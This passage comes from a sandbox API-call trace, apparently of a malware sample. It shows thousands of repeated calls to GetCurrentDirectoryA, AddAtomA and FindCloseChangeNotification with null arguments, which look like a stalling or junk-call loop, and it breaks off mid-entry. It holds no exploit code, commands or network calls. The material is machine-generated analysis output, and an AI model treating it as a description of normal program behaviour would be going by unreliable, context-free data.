returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.605] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.605] AddAtomA (lpString=0x0) returned 0x0 [0055.605] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.606] AddAtomA (lpString=0x0) returned 0x0 [0055.606] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.606] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.607] AddAtomA (lpString=0x0) returned 0x0 [0055.607] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.607] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.608] AddAtomA (lpString=0x0) returned 0x0 [0055.608] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.608] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.609] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.609] AddAtomA (lpString=0x0) returned 0x0 [0055.609] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.610] AddAtomA (lpString=0x0) returned 0x0 [0055.610] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.610] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.611] AddAtomA (lpString=0x0) returned 0x0 [0055.611] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.611] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.612] AddAtomA (lpString=0x0) returned 0x0 [0055.612] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.612] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.613] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.613] AddAtomA (lpString=0x0) returned 0x0 [0055.613] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA (lpString=0x0) returned 0x0 [0055.614] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0055.614] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0055.614] AddAtomA 